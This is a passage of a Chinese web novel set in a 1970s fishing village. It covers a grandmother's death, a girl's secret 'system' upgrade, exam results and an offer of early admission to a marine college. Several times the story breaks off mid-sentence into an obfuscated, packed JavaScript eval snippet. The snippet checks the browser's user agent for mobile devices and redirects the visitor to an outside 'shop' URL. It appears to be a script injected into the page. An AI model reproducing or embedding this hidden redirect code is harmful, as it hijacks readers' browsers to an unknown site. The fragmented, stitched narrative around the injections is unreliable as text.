宁文:“大爷你急啥?天还没透亮呢,我头都是晕的。” 徐夏啪嗒打开门锁。 宁富田推开大门,手里抱着三个盒子,大跨步地就往院里走。 宁文扒着门,伸出头左右看了一圈,都没找到宁海的身影:“大爷,我爸咋没回来?” 宁富田:“你奶奶不是还昏迷着嘛,他得在卫生院照顾,走不开。” 也是,宁富国和宁湖都死了,冯盼儿现在就只剩下宁海这么一个儿子,宁文和文昕是不可能去照顾她的,总不能指望还是半大孩子的宁玉竹和宁玉梅吧。 公社也没处请护工去,就是真有愿意干这事的人,工钱也是老大一笔开销了,宁海那么节省的人,未必就愿意。 宁文问:“我奶好点了吗?” “还昏迷着,”宁海摇摇头,“医生说,恐怕就今天了,你们收拾完还是去卫生院看看她吧。” 徐夏长叹了一口气,没想到宁家老屋七个人落了个这么悲惨的结局。 有句老话虽然残忍,但一针见血:不是不报,时候未到。 宁富田把手里的三个盒子放在桌上:“这是你二叔、二婶和玉松的骨灰,你爸说等他回来了,就埋在自留地里,再给你爷起个衣冠冢。” 原来宁富田这几天一直没在队里出现,是在火葬场忙着处理宁湖一家三口的后事。 宁文抱起三个骨灰盒,同灶屋的杂物堆放在一起。 “还有你二婶和玉松堂弟被货车撞死那事,”宁富田从怀里掏出一沓钱,拍到桌上,“交警根据目击证人的供词和现场留下的轮胎印,查出来是他俩违反交通秩序在先,又是从货车的盲区冲出来的,货车司机没有责任。” 宁文吃惊地问:“那司机就不用负责了?” 徐夏还以为,这货车司机要被关起来呢。 “那不能够,虽然货车方无责任,但根据去年出台的《华国道路交通安全法》,货车方还是要承担一定的民事赔偿责任,”宁富田摇摇头,“你二婶去世之后,就只剩下玉竹和玉梅两个孤儿,交警也会把这个情况考虑进去的。” 此时文昕也听见外面的动静起床了,徐夏将冯盼儿的情况和骨灰盒的事简单地复述给了她。 “那我们还是得尽早去卫生院看看,”文昕皱着眉说,“我去老屋通知玉竹和玉梅,你俩在家简单吃点。” 徐夏一把拦住往外走的文昕说:“婶,你还是先垫巴一下,我和宁文去老屋通知她们姐妹吧。” 说完,徐夏拉起宁文就朝老屋赶去。 到了宁家老屋,只见院子门大敞开着,宁玉竹和宁玉梅正在院子里拧刚洗完的衣服。 看见徐夏和宁文两人进来,宁玉竹将湿哒哒的衣服放在盆里,手在围裙上擦拭了两下问:“这么早,你俩咋来了?” 宁玉竹比宁文差几岁,但从小就习惯了不叫她姐姐。 宁文:“奶可能不行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一个头戴花边帽,身穿白色制服的护士探出头问:“同志,你们是来看病的吗?” 文昕:“不是,我们来看望病人,她叫冯盼儿。” “冯盼儿……你等等,我查查她的病房。”白衣护士拿起一个本子就要翻。 “嗨,不用查,我知道,”院子里一个左手提桶右手拿拖把的清洁工插嘴道,“301,冯大妈,她昏迷了几天,她儿子就衣不解带守了她几天,可真是个大孝子。” 这大孝子显然说得就是宁海了。 五个人咚咚咚跑上3楼,楼梯左转第一间就是301。 病房门没有反锁,推门进去,映入眼帘的是两张并排放着的病床。 外面这张没有人睡过的痕迹,冯盼儿就躺在最里面的那张上。 仍然同几天前一样,紧闭着双眼,鼻子上插着呼吸机,身上则是心电监护仪。 真不能小瞧了这公社卫生院,什么仪器都有。 病床前的折叠椅上坐着个胡子拉碴的中年男子,头埋在膝盖上,不是宁海还能是谁。 宁文心疼地走过去,蹲下紧紧抱住宁海说:“爸,你瘦了。” 宁海这才缓缓抬起头,目光在五人脸上扫了一圈,摸着宁文的头,苦笑道:“你们都听大爷说了吧。” 五个人沉默着点点头。 就在这时,病房里突然传来了“嘟嘟嘟”的报警声。 51.系统升级 徐夏抬头一看,心电监护仪上的屏幕上原本上下起伏的线条瞬间变成了平滑的直线。 “医生!快来救救我娘!”宁海瞬间冲出病房,大喊起来。 医生和护士们匆匆赶过来,徐夏几个人很有眼色的出了病房。 过了一会儿,门开了,医生一脸遗憾地对宁海说:“节哀顺变。” 宁海瞬间瘫软在地。 冯盼儿几个人对他是不好,但接连失去几个亲人,还是一场不小的打击。 宁文和徐夏一左一右将宁海架起来。 文昕冷静地处理完了接下来的事,又把想要留下来帮忙的徐夏和宁文赶去了阳高。 回到学校夜幕已经降临了,207宿舍里空无一人。 宁文一边将换洗的衣物放进衣柜,一边说:“走,快把东西放下去上晚自习,迟到了又该被许老师罚站了。” “别急,还有一会儿,”徐夏拒绝道,“最近文婶天天盯着我们,都没机会和你说系统升级的事。” 这几天宁海不在家,解放小学又没放假,课程全压在文昕一个人身上。 虽然就是个村小,但也有两个班级,一年级到三年级一个班,四年级和五年级一个班,文昕就是再厉害也分身乏术。 正好徐夏和宁文两个人在家,就被拉来临时充当几天低年级班代课老师,一个负责上课,另一个就负责管纪律。 徐夏和宁文想得简单,宁老师和文老师的教育程度一个初中,一个私塾,都能把解放小学的学生管教得服服帖帖,成绩在全公社都是排得上号的。 没道理她们两个高中生还啃不下这块骨头。 很快现实就给两人狠狠上了一课。 徐夏和宁文白天在学校上课,要对付一屋子6-9岁精力充沛、不服管教的儿童。 不光要把知识讲授得深入浅出、容易理解,还要变着花样的吸引他们的注意力,不然一个没抓住,就等着学生上房揭瓦吧。 那6岁的学生最令人头疼,早上还要家长亲自送来学校交到老师手里。 这边家长刚出校门,那边学生就扯开嗓子放声大哭,吵得徐夏和宁文是一个头两个大。 而且大家都是一个队乡里乡亲的,体罚学生肯定是不能够的,就是批评的话也不能说狠了,只能把他们抱在怀里轻言细语地哄着学。 不然学生下午放学,回家大哭一场,准保还没开始吃晚饭,家长就该上门理论了。 这村小的老师,可真不好当啊,也不知道宁海和文昕这么多年,是怎么干得这么好的。 看来实践是检验真理的唯一标准这句话真没说错,多年教学积累的经验,远比一个高文凭更有用。 白天上完课还没结束,晚上回家还要认认真真地备课,两人连去沙滩上撒丫子跑的时间都没有。 幸好宁富国家想得周到,做好了一日三餐,准时给她们送上门,不然她们三个这几天非得饿死不可。 仅仅四天,就把徐夏和宁文累的够呛,白天吃饭都要争分夺秒,晚上一结束工作,倒头就睡,哪里还有时间交流。 一直等到今天回到学校,才有时间和空间好好研究一下系统的事。 宁文一把扯过徐夏:“啥?系统升级?” 徐夏点点头,正打算在识海中将系统唤出,没想到一道金光直接从她额头上跳了出来。 巨大的蓝色屏幕瞬间出现在了207宿舍的空中。 坏了!万一有人路过了看见可怎么办。 吓得徐夏三步并做两步跑到宿舍门口,“哐当”把门反锁,又迅速跑到窗边“哗”的拉上了窗帘。 207宿舍瞬间黑了下来。 宁文“咔哒”拽了灯泡拉绳一下,宿舍重新恢复了光亮。 “你在干嘛?怎么又是锁门又是拉窗帘的?”宁文好奇地问。 徐夏手在半空中比划了两下,指着屏幕问:“你看不见这个?” 宁文把头摇得和拨浪鼓似的:“啥也看不见。” 看来这系统真升级了,这虚拟投影还挺智能的,除了徐夏,其他人都看不见。 “那就好,”徐夏拍了下胸脯,惊魂未定。 “你别打岔,快说说是什么情况。”宁文着急地问。 “就前几天在老屋,玉竹睡前吃剩的那碗紫贻贝还记得吗?我摸了一下,系统就跳出来说它解锁了实验功能。” 宁文眼珠子来回转,努力思索了一阵:“想起来了,怪不得当时你举着那碗发呆了那么久呢。” 还以为徐夏当时的小动作没被发现,原来都被宁文看在眼里了。 怪不得宁文当时一直挡在徐夏跟前,看来是想给她打掩护。 徐夏:“当时我花了50个金币,让系统检测那个紫贻贝是否受到污染,果然就查出来里面有一种致人昏迷的毒素。” “50个金币!”宁文惊呼出声,“这也太贵了吧,咱们辛辛苦苦学农几周才攒了多少金币啊。” 开学几个月,每周高一4班都有一天被组织去解放大队学农。 不同于去其他大队的班级,不是在田里种地,就是在帮着农户们晾晒粮食,累得够呛。 解放大队能种的地本来就少,村民们三两下就干完了,哪里还有多余的农活给学生们呢。 近海捕捞?那不行,阳高的学生不少都是县里或者公社长大的,没经受过培训,哪里能上舢板船,万一出点什么事,学校和解放大队可赔不起。 所以几乎每周,学生们都在沙滩上赶海,好不快哉。 许老师也乐得清闲,只要学生们不溜出去干别的,晚饭前能装满一个小童,就是抓鱼抓螃蟹动作慢点,她也睁一只眼闭一只的放过了。 徐夏和宁文可不一样,系统金币就像那吊在驴子眼前的胡萝卜一样有吸引力,一到了学农就干个不停,自己的背篓和小桶装满了都不够,还非得把赵晓莹的也装满。 偶尔还会大发善心的把何秀芳的桶也装满。 徐夏吐吐舌头:“那不是情况紧急嘛,还好还好,还剩了50来个。” 宁文着急地问:“那毒素会不会对玉竹和玉梅身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过现在队里一心扑在两条机帆船上,估计也没心思搞别的吧。 宁文简直要被这凭空出现又凭空消失的龙利鱼给吓死了。 徐夏见状赶忙解释了起来。 听完了故事,宁文提起两人的书包说:“好了,别折腾了,一会儿真迟到了。” 两人便匆匆忙忙朝教学楼跑去。 徐夏前脚刚迈进教室,“铃铃铃……”后脚上晚自习的铃声就响起了。 “期中考成绩下来了,咱们班考的不错,平均分排在年纪第二,”许老师抱着一垒纸走进来,眉飞色舞地说,“班长,来把大家的成绩单发一下。” 高一有12个班,能排在第二,确实很厉害了,怪不得想来严肃的许老师都难得露出了笑脸。 赵晓莹一个箭步冲上去,拿起成绩单就惊呼起来:“宁文、徐夏,猜你们考了多少?” 52.意外来人 “让你发成绩单,没让你在这儿给大家表演孔雀开屏。”许老师拿起手边的课本就给了赵晓莹一下。 赵晓莹吐了两下舌头,走下讲台,将手中的成绩单一一分发给大家。 一时间教室里充斥着纸张“哗哗”翻动和同学们交头接耳讨论成绩的声音。 一向严肃的许老师难得没喝止大家。 发到徐夏和宁文跟前,赵晓莹将成绩单反扣在课桌上,眨了两下眼睛说:“猜猜你俩考了多少?” 徐夏颇有自信地回答:“宁文至少考了年级前十”。 对于宁文的成绩,徐夏一向是很有信心的。 前世宁文无数次和徐夏说过,她是渔阳公社第一个大学生。 “你真神了,宁文这次恰好就是第十名。”赵晓莹惊叹道。 徐夏得意的想把成绩单翻过来看,没想到赵晓莹加大了手上的力气,把成绩单摁得是纹丝不动。 赵晓莹:“不行,还没猜你自己呢。” 徐夏眼珠子滴溜溜转动起来,自己平时喜欢研究刁钻的难题,这期中考试的题目简单,基础题目偏重于考验的大家的细心和耐心,分数水涨船高,估计不会考得比宁文更好。 “几十名?”徐夏试探着问。 “猜错了,”赵晓莹啪地一声把成绩单翻过来,拍在课桌上,“第二名!乖乖,你们这脑子怎么长得,我才考了32名。” 徐夏凑上去一看,4班的成绩单按照名次排序,首位的名字赫然就是自己。 看到这成绩,徐夏才长舒了一口气。 上辈子托父母的福,她出生在华国的首都平京,高中的时候成绩在学校不算顶尖,但高考时有地域优势,仍然进入了华国最高学府京大。 现在可不一样了,阳高只是华国一个偏远省份下面的县级高中,高考停止前,本科录取率远远低于首都平京,能考入京大的更是凤毛麟角、少之又少,宁文上辈子就是在这种激烈竞争中一举拔得了头筹。 两年后就要恢复高考了,想要顺利进入大学,至少得保持成绩稳定在年级前十,看来自己还是很有希望的。 正想着,耳边突然传来了咚咚咚的敲门声 原本还嘈杂的教室顿时变得安静了起来。 徐夏抬头一看,竟然是解放大队的支书宁富田,他身后还跟着一个提着公文包的青年人。 宁文抠着脑袋好奇地问:“奇怪,大爷咋上学校来了?” 徐夏问:“莫非家里出什么事了,他后面那个人你认识吗?是不是公社的?” 那文质彬彬的青年人显然不是解放大队的原住民。 “不认识,没见过,”宁文摇摇头,“公社的女干部没有一个这种打扮的。” 许老师不认识宁富田:“同志,请问您找谁?” “老师,麻烦您出来一趟。”宁富田严肃地说。 许老师拿教鞭啪啪拍了两下,瞬间讲台上扬起了灰尘,呛得前排的学生直咳嗽。 “大家安静上会儿自习,班长,你坐讲台上来,管好教室纪律。”说完,许老师就转身出了教室。 正转过身准备徐夏咬耳朵的赵晓莹突然被点名,只得三两步跑上讲台,正襟危坐。 透过窗户,能看见宁富田身后的青年人从包里取出了一封信递给了许老师。 许老师接过信,看了几秒钟,同两人交谈了几句转过身,对着教室里招手说:“徐夏出来一下”。 奇了,宁富田竟然是来找徐夏的。 徐夏同宁文手牵着手走出教室,有礼貌地叫了一声:“支书大爷。” 许老师见两人认识宁富田,放下心来,很有眼色地进了教室。 宁富田介绍起旁边的青年人:“这是海洋学院的田老师,特地为了之前你写的那封信来的。” 海洋学院? 如果说上辈子的人生赢家徐夏还有什么遗憾的话,一定是关于海洋学院的。 京大是所综合性大学,综合实力在华国排名第一,但并非所有专业都能鳌头独占。 例如工业设计排在第2,药学在全国只能排到23位。 而省里的海洋学院,顾名思义是所偏重于海洋研究的专业性学校,专业小而精,学生也少,虽然综合排名靠后,但只要谈起和海洋相关的东西,它称第二,便没有学校敢说自己是第一,京大也不例外。 前世的徐夏,有幸在初中时参加夏令营,去的就是海洋学院,不过那时它已经更名为海洋大学了。 学校位于海滨,出校门不到200米就能看见蔚蓝的大海。 古老的建筑、丰富的人文底蕴和都给徐夏留下了深刻的印象,当时她站在校门口就发誓,将来一定要考上海洋大学。 到了高考前,徐夏却犯了难。 她成绩不仅够上海洋大学,甚至连京大也是踮踮脚就能摸得着了。 徐夏只好向班主任老师寻求帮助。 老师听了她的想法,痛心疾首,就差把缺心眼三个字刻在徐夏脑门儿上了。 苦口婆心地劝她专业没有学校重要,一定要选择京大,将来有机会去海洋大学交流学习就行了。 徐夏心一横,干脆决定听天由命,高考前在志愿表上依次填下了京大、海大和平京师范,到时候成绩能上哪所大学就上哪所大学。 哪知道高考的时候京大在平京增加了招生名额,徐夏就在这种情况下进入了京大的海洋专业,这一学就是一辈子。 京大教授徐夏专业课的老师,无一不是毕业于海洋大学。 每当课程结束时,他们都会提起自己青年时在海大求学的日子,勾得徐夏更是心向往之。 即便后来成为了一名老师,徐夏还是遗憾自己没能在海大求学,同那些毕业于海洋大学的教授交流起来,自己始终有一层隔阂。 京大虽好,终究不是她心里的白月光。 田老师扶了一下镜框,带着一口岛城腔说:“你们好,我是海洋学院的□□田龙诗。” 田龙诗?? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057847|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后世华国的两院院士,海洋大学的校长田龙诗?? 眼前这张青年人的脸,逐渐和徐夏记忆力的学术泰斗重合起来。 老天,怪不得刚才觉得她脸熟呢。 徐夏此时恨不得绕着操场狂奔,自己竟然认识了尚为普通□□的田龙诗?。 “田老师好。”宁文左手搭上徐夏的背,用力往下一按,两人就鞠了个标标准准的90度躬。 田龙诗还是头一回遇到这么一本正经的学生,脸蹭地一声就红了,止不住地摇手:“你们也太客气了。” 这还是上辈子那个整天拄着拐杖、不苟言笑、板着脸训人的小老太太吗? 努力克制住内心的激动,徐夏忍不住上下打量起田龙诗来。 只见她身着一条深蓝色布拉吉,戴着一副金丝眼镜,皮肤因为常年出海而显得有些黝黑。 宁富田见三人客套来客套去,都没说到正事上,着急地开口说:“徐夏,田老师是为了之前你写的那封信来的。” 这怎么和大家之前商量的不一致,徐夏赶紧摇摇头:“大爷你咋忘了,这写信三水姨牵的头,只不过执笔人是我罢了。” 一个十几岁的小姑娘能写出那么长的建议,说出去谁信呢。 “嗨,田老师去过队里了,”宁富田把徐夏拉到一旁的楼梯间低声说,“一开始我们也没想出卖你,但是田老师问了我和三水几个信里面的提到的专业问题,我俩支支吾吾半天都没答上来,只好承认信的主要内容是你想出来的。” 得,防来防去,还是被卖了,这下不会要把她抓去解剖做研究吧。 “你不用担心,”宁富田看出了徐夏眼神里的顾虑,伸出手拍了一下她的肩膀,“人家田老师可是14岁就进入海洋学院学习了,你现在16,写这么个东西算什么。” 徐夏当时哪里想得到这天赋异禀的祖师爷会亲自找上门来呢,一心只想着掩盖自己超出年纪的异常。 田龙诗出生于1939年,华国成立第四年,她就以优异的成绩跳级考入了海洋学院学习。 此时华国百废待兴,为了谋发展,决定选派第一批公费留学生赴外学习发达国家的先进知识和技术。 田龙诗入学不到两个月,便在选拔中打败了所有的对手,成为了第一批赴外留学生。 学成后,她婉拒了国外的高薪厚禄,毅然决然回到自己的母校——海洋学院,成为一名普通的□□,此时,她也不过才20岁。 “现在不论是县里、市里还是省里,都忙着搞运动,领导们都是有心无力,”宁富田挠着头说,”赵书记说这专业的事还得专业的人来干,就干脆让我把信送去水产学校。” 乖乖隆嘀咚,煎饼卷大葱,赵向前没把这封信递给大领导,结果歪打正着去了海洋学院。 “徐同学,”田龙诗笑着说,“接到你的来信后,学校很重视,特意召开了会议,集中研究你提到的内容。” 接下来田龙诗说的一番话才是让徐夏三人都目瞪口呆。 53.第 53 章 起初宁富田带着这封信去了市里的水产学校,水产学校的老师一看内容,就警铃大作,带着他拿着信趁夜去了省城的海洋学院。 70年代初海省对高校布局和专业进行调整,将省城海洋学院的水产系剥离,成立了江海市水产学校,下设两个专业,捕捞与水产养殖。 故而水产学校的老师,大多来自于省城的海洋学院,与校领导都很熟悉。 海洋学院接到信后,立刻就通知全院教授老师开会,研究信里提到的内容。 诸位专家学者高度肯定了徐夏信中所写的内容,还建议校领导立刻给国家海洋局去电,全国上下进行行业整顿。 国家海洋局收到电话后,连夜召开内部会议,将信件内容整理成正式公文,通过机密电报形式下发至沿海城市,要求立刻执行。 估计这会儿文件已经下发到解放大队了。 至于国家海洋局为什么这么重视海洋学院的建议,一方面是因为国家海洋局是海洋学院的主管机构,及时吸纳优秀建言是他们的工作职责。 另一方面则是因为国家海洋局的干部职工乃至历任领导,90%以上都毕业于海洋学院,自己过去的老师打来电话,又是关系到国家渔业资源的大事,岂有不应之理。 把公文下发完毕,国家海洋局转头就打电话给海洋学院邀功,临了,特意问起这封信的主人,提议不如走绿色通道,将她提前召入海洋学院学习,以免埋没人才。 就是海洋局不提这茬,海洋学院的几位教授也已经蠢蠢欲动,预备寒假的时候到解放大队,亲自去见见这位徐夏。 华国取消高考已经九年了,现在想要进入大学,只有一个途径,就是推荐上大学,成为工农兵大学生。 只需要经过“自愿报名,群众推荐,领导批准,学校复审”程序入学的工农兵大学生,顾名思义,不需要经过高中学习,初中毕业即可,年龄也不做要求,但有一个硬性条件——必须在农村接受过两年以上的劳动锻炼。 从这招生条件就能看出,这工农兵大学生,更偏重的并非学习成绩。 故而海洋学院这几年招收的学生,质量层次不齐,能上完高中的学生十个里也难得有一个,其他人说是初中毕业,但很多人连基本的学科知识都不具有,还得教授老师手把手从高中开始教起。 而且还有很多不少人,岁数大得快赶上学院老师的年纪了,家里孩子都能打酱油了,最看重自己的面子,哪里受得了同龄甚至比自己年纪还小的老师的批评和指责。 故而这几年海洋学院的老师都苦不堪言。 现在好不容易逮到一个正儿八经的高中生,成绩又好,还对海洋这么有热忱,年龄和教育程度都合适,当然不能轻易放过。 这边一接到电话,几个教授老师兴奋至极,如果不是身上还肩负着科研任务,走不开,恨不得当场就瞬移到阳高来,把徐夏带走,收在自己门下做弟子。 学院最后选派了暂时没有教学任务的田龙诗跑一趟阳高,临行之前,那些不能亲自来的教授都叮嘱她,务必要将人速速带回。 “啊?”听到这里,徐夏和宁文都惊呼出了声。 没想到写封信的蝴蝶效应竟然这么大。 成为工农兵大学生的程序看着简单,但可供分配的名额极少,解放大队和渔阳公社的城关中学是一个也没有,要不然徐夏和宁文作为优秀毕业生,压根就不用上高中,直接就去上大学了。 如今海洋学院能提前特批徐夏入学,简直是天上掉馅饼了。 宁文想到了事情的盲点:“为啥不是让徐夏到水产学校学习?” 徐夏写的内容,论理儿都是同捕捞相关的,去水产学院学习才更专业对口。 “估计就这两年吧,水产学校就要并回海洋学院了,”田龙诗面不改色心不跳,“大学拢共要读四年,没必要来回折腾。” 其实并校这回事,也就是开会的时候提过一嘴,至于是两年还是五年七年,也没个准话。 田龙诗才不会说,海洋局领导的原话是,由徐夏同学自行选择是到海洋学院还是水产学校学习。 反正水产学校的老师都是海洋学院出去的,天字第一条,尊师重道,怎么能和自己的老师抢学生,大不了以后再赔他们一个好了,至于能不能像徐夏这么合适,那就不能保准了。 “太棒了,要是爸妈和萍姨知道这消息,准得乐坏了。”宁文高兴地跳起来,“啪”地轻了徐夏脸颊一口。 “田老师,恐怕我要辜负您的好意了。”徐夏却没一口答应。 田龙诗笑容僵在脸上,她从来没想过,有人会拒绝特批读大学这回事,莫非是看不上海洋学院? 是,放眼全国,海洋学院确实不算是什么特别好的学校,但是她这口气,未免太轻狂了吧? 田龙诗收敛了笑容,皱紧眉头盯着徐夏,眼珠一动也不动。 不光是田龙诗不理解,此时在场的另外两个人也百思不得其解。 “徐夏,你事吧?”宁文急得把手掌心贴在徐夏额头试温度,“奇怪,也没发烧啊。” 宁富田也难得动了气:“你这妮子怎么回事,咋不识抬举呢。” 对着三人惊诧的目光,徐夏深吸了一口气:“进入海洋学院学习,是我从小的梦想,但我希望自己能在接受两年完整的高中教育后,堂堂正正地靠自己的努力入学。” 海洋学院对徐夏来说,确实是上辈子唯一的遗憾,错过这次千载难逢的机会很可惜。 可对这辈子的徐夏来讲,眼前最重要的,是和家人在一起。 现在去了海洋学院,就不能同宁文日夜作伴,自己重活一世的意义又是什么呢? 田龙诗面露遗憾:“徐夏同学,你真的不再考虑一下吗?这种机会很难得。” 不光面前的三人觉得遗憾,恐怕李萍和宁家父母知道了,也会惋惜。 “如果今天我答应入学,未免对其他刻苦学习的人不公平,” 徐夏慢悠悠地解释起来,“我能写出这封信,是因为从小生活在渔村里,天然的比别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078123|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有优势,如果大家都同我一样见过看过,未必不能写出这样的内容。” 徐夏此刻脑子转动得飞快,拼了命想给出个合理的解释。 “徐夏同学,你有这样的想法,很值得大家学习,”田诗龙啪啪啪鼓起掌来,“既然你已经决定了,学校方面也不会勉强的,不过你稍等等,我去校长室给学院回个电话。” 不等徐夏反应,田龙诗风风火火地拔腿朝办公室跑。 “田老师,你慢点,等等我。”宁富田跟在后面,扯着嗓子大叫起来。 两人的身影很快就消失在了夜色中。 宁文突然紧紧抱住了徐夏:“虽然你嘴上说是不愿意走捷径,但是我心里都明白,你其实是不想和我分开。” 徐夏心里涌起一股暖流,知我者,宁文也。 不知道从什么时候起,她同宁文,只需要一个眼神沟通,就能明白对方的真实想法。 “徐夏,你真的想好了吗”许老师不知道何时从教室里走了出来,“现在高考统招取消了,虽然你成绩好,但这样的机会真的很难得。” 虽然也有内部消息说,上头的想法在松动,未来还是要恢复高考的,可这就和水产学校并校一样,究竟是三年还是五年,没人能说得准。 万一两年后徐夏高中毕业,仍然得靠推荐上大学,谁知道她还有没有可能入学呢,毕竟她只是个学习成绩稍微好点的高中生,可比不过那些下放农村的知青,既有初中文凭又是劳动积极分子。 徐夏不好意思地笑起来,其他人不知道,她可是对两年后一定会恢复高考这件事一清二楚。 “许老师,想好了,我还是希望自己能度过一个完整的高中生涯。”徐夏点点头。 许老师欣慰地笑起来:“那就好,老师相信,有志者,事竟成,你一定会实现目标的。” “徐夏同学,好消息!”田龙诗的声音从不远处传来,打断了师生两人的对话。 徐夏回头一看,只见田龙诗脚下像是生风了似的,转眼就到了眼前。 “刚才我向院领导转述了你的话,他们听了不但没生气,反而夸你年纪虽小,志气却大,”田龙诗脸上挂着笑容,越说越兴奋,“你不愿意现在入学也行,学院愿意替你申请,把入学名额保留到两年后你高中毕业。” 老天,竟然有这种好事,海洋学院这是铁了心要挖徐夏去读书啊。 见徐夏沉浸在喜悦中无法自拔,宁文便自作主张替她答应了:“田老师,您放心,我会监督她的!” 田龙诗见该交代的事都说完了,便冲徐夏和宁文招手再见:“徐同学,希望你在接下来的高中学习中继续努力学习,两年后咱们海院见!” “两年后,海院见!”徐夏终于回过神来,对着黑夜中渐渐消失的人影说。 “行了,事情说完就回去上晚自习吧!”许老师催促道。 “哎!等等!”刚才消失了半天的宁富田突然出现,把师生三人拦下,“田老师的事结束了,我要说的事还没完呢!” 54.第 54 章 许老师见宁富田找徐夏和宁文还有事,干脆利落地说:“行,那你们同宁支书说完话再回来上晚自习。” 话音刚落,许老师转身就进了教室,见还有学生趴在门口探头探脑,顺手就把门儿带上了。 宁文此时才好奇地问: “大爷,啥事儿啊?” “原本这事也不该找你俩,”宁富田挠了挠头,“可是现在的情况你们也知道,从上到下都在忙着运动的事,你爸妈又要操心小学的事,队里其他人大字不识几个,啥也不懂,我实在找不到人商量。” “大爷,您就别绕圈子了,直说吧。”宁文见宁富田翻来覆去都说不到点子上,急了。 宁富田单刀直入:“之前咱们队那‘三八号’不是搞得红红火火、有声有色得嘛,其他队看了也眼热,都起了心思要买艘大船出去,听说有的把钱都凑够交去船厂了。” 其他队原本还在观望,见‘三八号’一趟就赚了8000元,一个个都心潮澎湃,恨不得立刻就出海去。 “那不是挺好的,这样大家收入高点,生活水平也能上去了。”宁文感叹道。 渔阳公社算是在个岛上,大家的日子都过得清贫。 “好啥呀,上周咱们不是出事了嘛,这下把他们吓得,都嚷着要去船厂退钱,”宁富田一拍大腿,“说摇舢板船离岸上近,只要会游水还有希望活命,这机帆船出海离岸那么远,再善于洑水也游不回来。” 宁文想起自己刚刚送命的爷爷和二叔,是啊,远洋捕捞赚的钱是比近海多,但是又苦又累,危险系数又大,有命赚钱,没命花钱,换谁愿意去啊。 宁文:“他们不愿意出去赚钱就算了,那也不干咱们的事啊!” 宁富田愁得眼睛眉毛皱成了一团。“要光是别的队不敢去就算了,咱们队有些考了船员证的人,也吵着嚷着不敢去了。 现在上面出了通知,要求控制近海的捕捞强度,原本我想着分一部分人去干远洋捕捞,刚好就缓解了近海资源的压力,这事一出,可怎么办?” “之前我们队出事,主要是由于极个别船员安全作业意识不够,擅自行动,”在一旁沉默了良久的徐夏缓缓开口说,“不愿意进行远洋捕捞的,不强求,咱们队离海近,可以发展近海养殖。” “近海养殖?”宁富田对这个词有些陌生,“只听过那些内陆地区用鱼塘搞养殖,咱们这也行嘛?” 徐夏点点头:“当然可以,我们可以在海边选出一片空地,将海水直接引入,模拟海洋环境,这样在禁渔期大家也能有一份收入。” 宁富田眉头皱得更紧了:“这个方法好是好,但是有一个很现实的问题,咱们这没人干过,大家不清楚这近海养殖究竟能不能赚钱,估计没多少人愿意干。” 宁文插嘴道:“那还不简单,就和买机帆船一样,另起个账册记工分,如果赚了钱,给大家分红,自然有人愿意参与。” 宁富田继续说道:“但是咱们队临海的区域浪头大,一个不好就会把东西都冲走。” “对啊,”宁文也附和起来,“平时我们赶海都只敢在潮退的时候去呢。” 徐夏:“可以在海边修海塘啊,这样就可以将潮水挡在外面了。” 宁富田:“但是挖海塘需要大量人手,现在大家都忙着自己手头的活,人太少了,不知道要挖到什么时候。” “宁支书,我有一个建议。”许老师突然打开门走了出来。 三人在外面说得热火朝天,声音越来越大,引得教室里的学生不停地向外张望,甚至还有临窗的扒在窗户上偷听。 许老师原本是打算出来叫他们说话小声点。 宁富田最尊重知识分子:“许老师,你请讲。” “解放大队不是我们班的学农基地嘛,你也清楚,其实没有什么地种,学生们经常都是在海边混一下午就回去了,不如干脆组织大家去挖海塘,就是这学农一周才一次,不知道要挖到什么时候才好……”许老师越说声音越小。 “我怎么没想到呢,”宁富田猛地一拍脑袋,“上头刚给队里发了通知,估计您还没收到,要加大学生学农的频次,以后半天上课,半天进行劳动锻炼。” 宁富田接到这个通知的时候,还觉得上头在乱指挥,学生不把精力全扑在学习上,反而花一半的时间去劳动,这不是本末倒置了嘛。 现在一想,上头真是深谋远虑,饭都吃不饱,学再多知识有什么用,先解决温饱,再解决精神需求,才是正道。 “看吧,三个臭皮匠,顶个诸葛亮,”宁富田乐得直笑,一边走一边招手说,“我先回队里了,就不影响你们搞学习了。” 许是因为看徐夏和宁文不顺眼的陈丽珠转学了,接下来的一周,两人的生活都过得很平静,转眼就到了周六下午。 李萍最近被中心小学选派去外地学习,不在家,徐夏和宁文就直接回了解放大队。 刚一到家,宁富田和郑小英就找上门来了。 “大爷,郑婶,你们咋现在来了,我爸妈还没回来呢。”宁文一边取书包一边问。 宁富田戳戳郑小英:“你说。” “不,你说。”郑小英头摇得和拨浪鼓似的。 “之前不是说要搞近海养殖嘛,”宁富田吞吞吐吐说道,“队里很多人都反对。” “啊?”徐夏和宁文大吃一惊,按理说不应该啊,队里爱唱反调的,也就一个刘棒槌,现在还在劳改农场待着呢。 